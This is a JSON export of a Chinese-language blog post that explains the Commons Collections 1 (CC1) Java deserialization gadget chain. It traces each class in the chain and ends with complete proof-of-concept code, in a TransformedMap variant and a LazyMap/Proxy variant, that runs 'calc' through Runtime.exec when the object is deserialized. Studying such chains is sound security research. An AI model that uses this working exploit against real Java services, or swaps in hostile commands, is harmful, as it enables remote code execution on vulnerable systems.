{"id":176,"date":"2026-03-21T13:28:21","date_gmt":"2026-03-21T05:28:21","guid":{"rendered":"https:\/\/arknight.wiki\/?p=176"},"modified":"2026-03-21T13:28:21","modified_gmt":"2026-03-21T05:28:21","slug":"cc1-2","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/21\/cc1-2\/","title":{"rendered":"CC1"},"content":{"rendered":"

java\u53cd\u5e8f\u5217\u5316CC1\u94fe\u8def<\/h1>\n

\u7248\u672c\u8981\u6c42\uff1a<\/strong><\/p>\n

commons-collections 3.1\u20133.2.1<\/p>\n

jdk < 8u71<\/p>\n

\u94fe\u8def\u6982\u89c8\uff1a<\/strong><\/p>\n

\/*\n    Gadget chain:\n        ObjectInputStream.readObject()\n            AnnotationInvocationHandler.readObject()\n                Map(Proxy).entrySet()\n                    AnnotationInvocationHandler.invoke()\n                        LazyMap.get()\n                            ChainedTransformer.transform()\n                                ConstantTransformer.transform()\n                                InvokerTransformer.transform()\n                                    Method.invoke()\n                                        Class.getMethod()\n                                InvokerTransformer.transform()\n                                    Method.invoke()\n                                        Runtime.getRuntime()\n                                InvokerTransformer.transform()\n                                    Method.invoke()\n                                        Runtime.exec()\n    Requires:\n        commons-collections\n *\/\n<\/code><\/pre>\n
\u4e0b\u9762\u5bf9\u6bcf\u4e2a\u51fd\u6570\u8c03\u7528\u8fdb\u884c\u8ffd\u6839\u6eaf\u6e90\uff1a<\/p>\n
\u5165\u53e3\uff1aInvokerTransformer<\/h3>\n
\u8fd9\u4e2a\u7c7b\u7ee7\u627f\u81eaTransformer\u3002<\/p>\n
public class InvokerTransformer implements Transformer, Serializable <\/code><\/pre>\n
\u5148\u6765\u770b\u770b\u8fd9\u4e2a\u7c7b\u7684\u6784\u9020\u51fd\u6570\u548ctransform\u51fd\u6570<\/p>\n
\u00a0\u00a0\u00a0 \/\/\u6784\u9020\u51fd\u6570\n    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {\n        super();\n        iMethodName = methodName;\n        iParamTypes = paramTypes;\n        iArgs = args;\n    }\n\n    \/\/transform\u51fd\u6570\n    public Object transform(Object input) {\n        if (input == null) {\n            return null;\n        }\n        try {\n            Class cls = input.getClass();\n            Method method = cls.getMethod(iMethodName, iParamTypes);\n            return method.invoke(input, iArgs);\n\n        } catch (NoSuchMethodException ex) {\n            throw new FunctorException(\"InvokerTransformer: The method '\" + iMethodName + \"' on '\" + input.getClass() + \"' does not exist\");\n        } catch (IllegalAccessException ex) {\n            throw new FunctorException(\"InvokerTransformer: The method '\" + iMethodName + \"' on '\" + input.getClass() + \"' cannot be accessed\");\n        } catch (InvocationTargetException ex) {\n            throw new FunctorException(\"InvokerTransformer: The method '\" + iMethodName + \"' on '\" + input.getClass() + \"' threw an exception\", ex);\n        }\n    }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\uff0c\u8fd9\u4e2a\u5bf9\u8c61\u7684\u6784\u9020\u51fd\u6570\u4f20\u5165\u4e00\u4e2a\u65b9\u6cd5\u540d\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u7684\u53c2\u6570\u7c7b\u578b\uff0c\u4ee5\u53ca\u8fd9\u4e2a\u65b9\u6cd5\u7684\u53c2\u6570\uff0c\u5e76\u4e14\u5728transform\u65b9\u6cd5\u4e2d\u901a\u8fc7\u53cd\u5c04\u4f20\u5165transform\u7684\u5bf9\u8c61\u4ee5\u4f20\u5165\u6784\u9020\u65b9\u6cd5\u7684\u53c2\u6570\u7c7b\u578b\u548c\u53c2\u6570\u8c03\u7528\u8fd9\u4e2a\u65b9\u6cd5\u3002\u6bd4\u5982\u6211\u4eec\u4e0b\u9762\u5f39\u4e2a\u8ba1\u7b97\u5668\uff1a<\/p>\n
public class poc {\n    public static void main(String[] args){\n        Runtime rt = Runtime.getRuntime();\n        InvokerTransformer inex = new  InvokerTransformer(\"exec\",new Class[]{String.class},new Object[]{\"calc\"});\n        inex.transform(rt);\n    }\n}<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u6210\u529f\u4e86<\/p>\n
\"\"<\/div><\/p>\n
\u90a3\u4e48\u4e0b\u4e00\u6b65\u5c31\u662f\u627e\u5230\u8c01\u4f1a\u8c03\u7528transform()\u65b9\u6cd5<\/p>\n
TransformedMap\uff1a<\/h3>\n
\"\"<\/div><\/p>\n
protected Object checkSetValue(Object value) {\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return valueTransformer.transform(value);\n}<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u4e00\u4e2a\u53ebTransformedMap\u7684\u7c7b\u7684checkSetValue\u4f1a\u8c03\u7528\u81ea\u5df1valueTransformer\u6210\u5458\u7684transform\u65b9\u6cd5\uff0c\u5982\u679c\u5c06\u8fd9\u4e2a\u6210\u5458\u8bbe\u5b9a\u4e3a\u4e00\u4e2aInvokerTransformer\u5c31\u53ef\u4ee5\u3002\u90a3\u4e48\u6211\u4eec\u5c31\u9700\u8981\u5148\u627e\u5230\u8fd9\u4e2a\u6210\u5458\u662f\u600e\u4e48\u6765\u7684<\/p>\n
\"\"<\/div><\/p>\n
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {\n        super(map);\n        this.keyTransformer = keyTransformer;\n        this.valueTransformer = valueTransformer;\n    }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\uff0c\u8fd9\u4e2a\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u4f1a\u8bbe\u5b9avalueTransformer\u6210\u5458\u3002\u5982\u679c\u4f20\u5165\u4e00\u4e2aInvokerTransformer\u518d\u8c03\u7528\u5b83\u7684checkSetValue\u5c31\u53ef\u4ee5\u6210\u529f\u3002\u4f46\u662f\u8fd9\u4e2a\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u662fprotected\uff0c\u65e0\u6cd5\u76f4\u63a5\u8c03\u7528\uff0c\u8fd8\u8981\u518d\u627e\u3002<\/p>\n
\"\"<\/div><\/p>\n
\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u7c7b\u66b4\u9732\u4e86\u4e00\u4e2adecorate\u7ed9\u5916\u90e8\u8c03\u7528\u4ee5\u8fdb\u884c\u6784\u9020\u3002<\/p>\n
\u6211\u4eec\u6253\u4e2atest<\/p>\n
package org.example;\n\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class poc {\n    public static void main(String[] args) throws Exception{\n        Runtime rt = Runtime.getRuntime();\n        InvokerTransformer inex = new  InvokerTransformer(\"exec\",new Class[]{String.class},new Object[]{\"calc\"});\n        HashMap<Object,Object> map = new HashMap<>();\n        Map<Object,Object> rce = TransformedMap.decorate(map,null,inex);\n        Class<?> rce2 = rce.getClass();\n        Method test = rce2.getDeclaredMethod(\"checkSetValue\",Object.class);\n        test.setAccessible(true);\n        test.invoke(rce,rt);\n    }\n}<\/code><\/pre>\n
\"\"<\/div><\/p>\n
\u4e0b\u9762\u627e\u8c01\u8c03\u7528\u4e86checkSetValue<\/p>\n
AbstractInputCheckedMapDecorator\uff1a<\/h3>\n
\u53ef\u4ee5\u770b\u5230TransformedMap\u7684\u7236\u7c7bAbstractInputCheckedMapDecorator\u7684setValue\u8c03\u7528\u4e86checkSetValue<\/p>\n
\"\"<\/div><\/p>\n
public Object setValue(Object value) {\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0value = parent.checkSetValue(value);\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return entry.setValue(value);\n}<\/code><\/pre>\n
\u8fd9\u91cc\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0b\uff0c\u8c03\u7528TransformedMap\u7684entrySet()\u65f6\u4f1a\u81ea\u52a8\u7528AbstractInputCheckedMapDecorator\u5305\u88c5\uff0c\u5176\u4e2d\u7684parent\u6307\u5411\u81ea\u5df1\u3002<\/p>\n
\u6240\u4ee5test\u5982\u4e0b\uff1a<\/p>\n
package org.example;\n\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class poc {\n    public static void main(String[] args) throws Exception{\n        Runtime rt = Runtime.getRuntime();\n        InvokerTransformer inex = new  InvokerTransformer(\"exec\",new Class[]{String.class},new Object[]{\"calc\"});\n        HashMap<Object,Object> map = new HashMap<>();\n        Map<Object,Object> rce = TransformedMap.decorate(map,null,inex);\n        map.put(\"a\",\"b\");\n        for(Map.Entry XXX : rce.entrySet()){\n            XXX.setValue(rt);\n        }\n    }\n}<\/code><\/pre>\n
\"\"<\/div><\/p>\n
\u6210\u529f\u3002<\/p>\n
AnnotationInvocationHandler\uff1a<\/h3>\n
\u7ee7\u7eed\u5f80\u4e0b\u770b\u5230\u5165\u53e3readObject<\/p>\n
    private void readObject(java.io.ObjectInputStream s)\n        throws java.io.IOException, ClassNotFoundException {\n        s.defaultReadObject();\n\n        \/\/ Check to make sure that types have not evolved incompatibly\n\n        AnnotationType annotationType = null;\n        try {\n            annotationType = AnnotationType.getInstance(type);\n        } catch(IllegalArgumentException e) {\n            \/\/ Class is no longer an annotation type; time to punch out\n            throw new java.io.InvalidObjectException(\"Non-annotation type in annotation serial stream\");\n        }\n\n        Map<String, Class<?>> memberTypes = annotationType.memberTypes();\n\n        \/\/ If there are annotation members without values, that\n        \/\/ situation is handled by the invoke method.\n        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {\n            String name = memberValue.getKey();\n            Class<?> memberType = memberTypes.get(name);\n            if (memberType != null) {  \/\/ i.e. member still exists\n                Object value = memberValue.getValue();\n                if (!(memberType.isInstance(value) ||\n                      value instanceof ExceptionProxy)) {\n                    memberValue.setValue(\n                        new AnnotationTypeMismatchExceptionProxy(\n                            value.getClass() + \"[\" + value + \"]\").setMember(\n                                annotationType.members().get(name)));\n                }\n            }\n        }\n    }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u53cd\u5e8f\u5217\u5316\u65f6\u4f1a\u904d\u5386map\u5e76\u4e14\u8c03\u7528setValue\u3002\u800c\u8fd9\u4e2a\u62ff\u6765\u904d\u5386\u7684memberValues\u6211\u4eec\u4e5f\u53ef\u4ee5\u627e\u5230<\/p>\n
\"\"<\/div><\/p>\n
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {\n        Class<?>[] superInterfaces = type.getInterfaces();\n        if (!type.isAnnotation() ||\n            superInterfaces.length != 1 ||\n            superInterfaces[0] != java.lang.annotation.Annotation.class)\n            throw new AnnotationFormatError(\"Attempt to create proxy for a non-annotation type.\");\n        this.type = type;\n        this.memberValues = memberValues;\n    }<\/code><\/pre>\n
\u5728\u6784\u9020\u5668\u91cc\uff0c\u4e5f\u662f\u53ef\u63a7\u7684\u3002<\/p>\n
package sun.reflect.annotation;<\/code><\/pre>\n
\u8fd9\u4e2a\u7c7b\u53ea\u80fd\u5728sun.reflect.annotation\u8fd9\u4e2a\u672c\u5305\u4e0b\u88ab\u8c03\u7528\uff0c\u9700\u8981\u53cd\u5c04\u8c03\u7528<\/p>\n
\u89e3\u51b3\u6ce8\u89e3\u503c\u4e3a\u7a7a\uff1a<\/strong><\/p>\n
\u540c\u65f6\u6211\u4eec\u53ef\u4ee5\u770b\u5230\uff1a<\/p>\n
if (memberType != null) {  \/\/ i.e. member still exists\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Object value = memberValue.getValue();\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!(memberType.isInstance(value) ||\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 value instanceof ExceptionProxy)) {\n            memberValue.setValue(\n            \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0new AnnotationTypeMismatchExceptionProxy(\n                  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0value.getClass() + \"[\" + value + \"]\").setMember(\n                  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0annotationType.members().get(name)));\n      }\n}<\/code><\/pre>\n
\u8fd9\u91cc\u6709\u4e24\u4e2aif\u8bed\u53e5\u9700\u8981\u6ee1\u8db3\uff0c\u7b2c\u4e8c\u4e2a\u662f\u4e00\u5b9a\u4f1a\u6ee1\u8db3\u7684\uff0c\u6211\u4eec\u91cd\u70b9\u770b\u7b2c\u4e00\u4e2a\u3002<\/p>\n
memberType != null<\/code><\/pre>\n
\u6211\u4eec\u627e\u5230memberType\u662f\u600e\u4e48\u6765\u7684<\/p>\n
\u8ddf\u8fdb\u4e00\u4e0b\uff1a<\/p>\n
Class<?> memberType = memberTypes.get(name);\n\nMap<String, Class<?>> memberTypes = annotationType.memberTypes();\n\nAnnotationType annotationType = null;\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 try {\n            annotationType = AnnotationType.getInstance(type);\n        } catch(IllegalArgumentException e) {\n            \/\/ Class is no longer an annotation type; time to punch out\n            throw new java.io.InvalidObjectException(\"Non-annotation type in annotation serial stream\");\n        }\n<\/code><\/pre>\n
\u8fd9\u91cc\u770b\u51fa\u6765\u662f\u5728\u83b7\u53d6\u6ce8\u89e3\u7c7b\u578b\u7684\u5b9e\u4f8b\uff0c\u90a3\u4e48\u6362\u4e00\u4e2a\u6709\u503c\u7684\u6ce8\u89e3\u5c31\u53ef\u4ee5\uff0c\u6bd4\u5982\u4e0b\u9762\u8fd9\u4e2a\uff1a<\/p>\n
Target.class<\/code><\/p>\n
Object o = constructor.newInstance(Target.class,transformermap);<\/code><\/p>\n
\u89e3\u51b3setValue\u91cc\u7684value\u4e0d\u53ef\u63a7\u548cruntime\u4e0d\u53ef\u5e8f\u5217\u5316\uff1a<\/strong><\/p>\n
\u9996\u5148\u6211\u4eec\u770bruntime\uff1a<\/p>\n
public class Runtime {<\/code><\/p>\n
\u8fd9\u91cc\u770b\u5230\u5b83\u5e76\u6ca1\u6709\u5b9e\u73b0\u5e8f\u5217\u5316\u63a5\u53e3\uff0c\u6240\u4ee5\u4f1a\u5e8f\u5217\u5316\u5931\u8d25\uff0c\u4f46\u662f\u53ef\u4ee5\u8fd0\u7528\u53cd\u5c04\u6765\u83b7\u53d6\u5b83\u7684\u539f\u578b\u7c7b\uff0c\u5b83\u7684\u539f\u578b\u7c7bClass\u662f\u5b58\u5728serializable\u63a5\u53e3\uff0c\u53ef\u4ee5\u5e8f\u5217\u5316\u7684\u3002<\/p>\n
\u8fd9\u4e2a\u53cd\u5c04\u6211\u4eec\u53ef\u4ee5\u9760invoketransformer\u5b9e\u73b0\u3002<\/p>\n
\u6211\u4eec\u518d\u770b\uff1a<\/p>\n
memberValue.setValue(\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0new AnnotationTypeMismatchExceptionProxy(\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0value.getClass() + \"[\" + value + \"]\").setMember(\n            \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0annotationType.members().get(name)));<\/code><\/pre>\n
\u8fd9\u91cc\u6211\u4eec\u77e5\u9053\u4f20\u5165setValue\u7684\u503c\u4e0d\u662f\u6211\u4eec\u63a7\u5236\u7684\uff0c\u6240\u4ee5\u8981\u627e\u4e00\u4e2a\u4e0d\u9760\u4f20\u5165runtime\u5b9e\u4f8brce\u7684\u529e\u6cd5\u3002<\/p>\n
\u7efc\u5408\u4e0b\u6765\u6211\u4eec\u627e\u5230\u4e24\u4e2a\u4e1c\u897f\u3002\u5148\u770b\u8fd9\u4e2a\uff1a<\/p>\n
ChainedTransformer\u7c7b\u6709\u4e00\u4e2atransform\u65b9\u6cd5\uff1a\n\u00a0\u00a0\u00a0 public Object transform(Object object) {\n        for (int i = 0; i < iTransformers.length; i++) {\n            object = iTransformers[i].transform(object);\n        }\n        return object;\n    }<\/code><\/pre>\n
\u5229\u7528\u5b83\u53ef\u4ee5\u5b9e\u73b0\u5bf9transformer\u7c7b\u6570\u7ec4\u7684\u94fe\u5f0f\u8c03\u7528\uff0c\u518d\u770b\u4e0b\u9762\u8fd9\u4e2aConstantTransformer\u7c7b\uff1a<\/p>\n
    public ConstantTransformer(Object constantToReturn) {\n        super();\n        iConstant = constantToReturn;\n    } \n    public Object transform(Object input) {\n        return iConstant;\n    }<\/code><\/pre>\n
\u5229\u7528\u8fd9\u4e2a\u6211\u4eec\u53ef\u4ee5\u5b9e\u73b0\u4e00\u4e2atransformer\u7c7b\u7684\u5bf9\u8c61\uff0c\u53ea\u8981\u5bf9\u5b83\u8c03\u7528transform ()\uff0c\u4e0d\u7ba1\u53c2\u6570\u5982\u4f55\u90fd\u8fd4\u56de\u4e00\u4e2a\u56fa\u5b9a\u53ef\u63a7\u5bf9\u8c61\u3002\u90a3\u4e48\u7efc\u5408\u8d77\u6765\u53ef\u4ee5\u8fd9\u4e48\u6784\u9020\uff1a<\/p>\n
Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getDeclaredMethod\",new Class[]{String.class,Class[].class}, new Object[]{\"getRuntime\",null}),\n                new InvokerTransformer(\"invoke\",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),\n                new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}),\n        };<\/code><\/pre>\n
\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u6784\u9020\u6700\u7ec8\u7684\u94fe\u5b50\uff1a<\/p>\n
package org.example;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.Constructor;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC1 {\n    public static void main(String[] args) throws Exception{\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}),\n                new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n                new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}),\n        };\n        ChainedTransformer inex = new ChainedTransformer(transformers);\n        HashMap<Object,Object> map = new HashMap<>();\n        Map<Object,Object> rce = TransformedMap.decorate(map,null,inex);\n        map.put(\"value\",\"b\");\n        Class handler = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);\n        constructor.setAccessible(true);\n        Object obj = constructor.newInstance(Target.class,rce);\n        serialize(obj);\n        unserialize(\"test.txt\");\n    }\n    public static void serialize(Object object) throws Exception{\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"test.txt\"));\n        oos.writeObject(object);\n        oos.close();\n    }\n    \/\/\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void unserialize(String filename) throws Exception{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));\n        ois.readObject();\n    }\n}<\/code><\/pre>\n
\u4f7f\u7528lazymap\u89e6\u53d1transform\uff1a<\/h3>\n
\u6211\u4eec\u5148\u770bLazyMap\u7684get\u65b9\u6cd5\uff1a<\/p>\n
    public Object get(Object key) {\n        \/\/ create value for key if key is not currently in the map\n        if (map.containsKey(key) == false) {\n            Object value = factory.transform(key);\n            map.put(key, value);\n            return value;\n        }\n        return map.get(key);\n    }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u4f1a\u8c03\u7528factory\u7684transform\u65b9\u6cd5\u3002\u90a3factory\u662f\u600e\u4e48\u6765\u7684\u5462\uff1f<\/p>\n
    public static Map decorate(Map map, Transformer factory) {\n        return new LazyMap(map, factory);\n    } \n    protected LazyMap(Map map, Transformer factory) {\n        super(map);\n        if (factory == null) {\n            throw new IllegalArgumentException(\"Factory must not be null\");\n        }\n        this.factory = factory;\n    }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u8c03\u7528\u516c\u5171\u7684decorate\u518d\u4f20\u5165\u4e00\u4e2atransformer\u5bf9\u8c61\u5373\u53efrce\u3002\u6211\u4eec\u76f4\u63a5\u7528\u4e4b\u524d\u6784\u9020\u7684ChainedTransformer<\/code>\u5373\u53ef\uff0c\u89e6\u53d1\u4e4b\u540e\u4f1a\u94fe\u5f0f\u8c03\u7528\u4e5f\u4e0d\u9700\u8981\u53c2\u6570\u3002\u4e0b\u9762\u6211\u4eec\u5c31\u8981\u627e\u600e\u4e48\u89e6\u53d1get()\u65b9\u6cd5<\/p>\n
\"\"<\/div><\/p>\n
\u6211\u4eec\u770b\u5230AnnotationInvocationHandler<\/code>\u7c7b\u7684invoke\u65b9\u6cd5\u8c03\u7528\u4e86memberValues<\/code>\u7684get\u65b9\u6cd5\uff0c\u540c\u65f6\u6211\u4eec\u4e4b\u524d\u4e5f\u770b\u5230\u8fd9\u4e2a\u6210\u5458\u662f\u53ef\u63a7\u7684\u3002<\/p>\n
Object result = memberValues.get(member);<\/code><\/pre>\n
\u90a3\u4e48\u600e\u4e48\u8c03\u7528invoke\u5462\uff1f\u7528\u52a8\u6001\u4ee3\u7406\u5373\u53ef\uff0c\u5bf9\u52a8\u6001\u4ee3\u7406\u5bf9\u8c61\u8fdb\u884c\u4efb\u4f55\u65b9\u6cd5\u7684\u8c03\u7528\u90fd\u4f1a\u8f6c\u5230\u5b83\u7684InvocationHandler<\/code>\u4e0a\u3002\u6211\u4eec\u8bbe\u5b9a\u4e00\u4e2a\u7528AnnotationInvocationHandler<\/code>\u4ee3\u7406\u7684\u5bf9\u8c61\uff0c\u518d\u7528\u5b83\u6784\u9020AnnotationInvocationHandler<\/code>\u3002\u53cd\u5e8f\u5217\u5316\u6700\u540e\u6784\u9020\u51fa\u6765\u7684\u65f6\u5019AnnotationInvocationHandler<\/code>\u4f1a\u8c03\u7528\u4ee3\u7406\u5bf9\u8c61\u7684\u65b9\u6cd5\uff0c\u7136\u540e\u5c31\u4f1a\u518d\u8f6c\u5230invoke<\/code>\u4e0a\u53bb\u3002\u6240\u4ee5\u6700\u540e\u7684poc\uff1a<\/p>\n
package org.example;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC1 {\n    public static void main(String[] args) throws Exception{\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}),\n                new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n                new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}),\n        };\n        ChainedTransformer inex = new ChainedTransformer(transformers);\n        HashMap<Object,Object> map = new HashMap<>();\n        Map<Object,Object> rce = LazyMap.decorate(map,inex);\n        Class handler = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);\n        constructor.setAccessible(true);\n        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,rce);\n        Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);\n        Object obj = constructor.newInstance(Override.class,proxyedMap);\n        serialize(obj);\n        unserialize(\"test.txt\");\n    }\n    public static void serialize(Object object) throws Exception{\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"test.txt\"));\n        oos.writeObject(object);\n        oos.close();\n    }\n    \/\/\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void unserialize(String filename) throws Exception{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));\n        ois.readObject();\n    }\n}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
java\u53cd\u5e8f\u5217\u5316CC1\u94fe\u8def \u7248\u672c\u8981\u6c42\uff1a commons-collections 3.1\u20133.2.1 jdk & […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,3],"tags":[],"class_list":["post-176","post","type-post","status-publish","format-standard","hentry","category-java","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/176","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=176"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/176\/revisions"}],"predecessor-version":[{"id":177,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/176\/revisions\/177"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=176"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=176"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=176"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}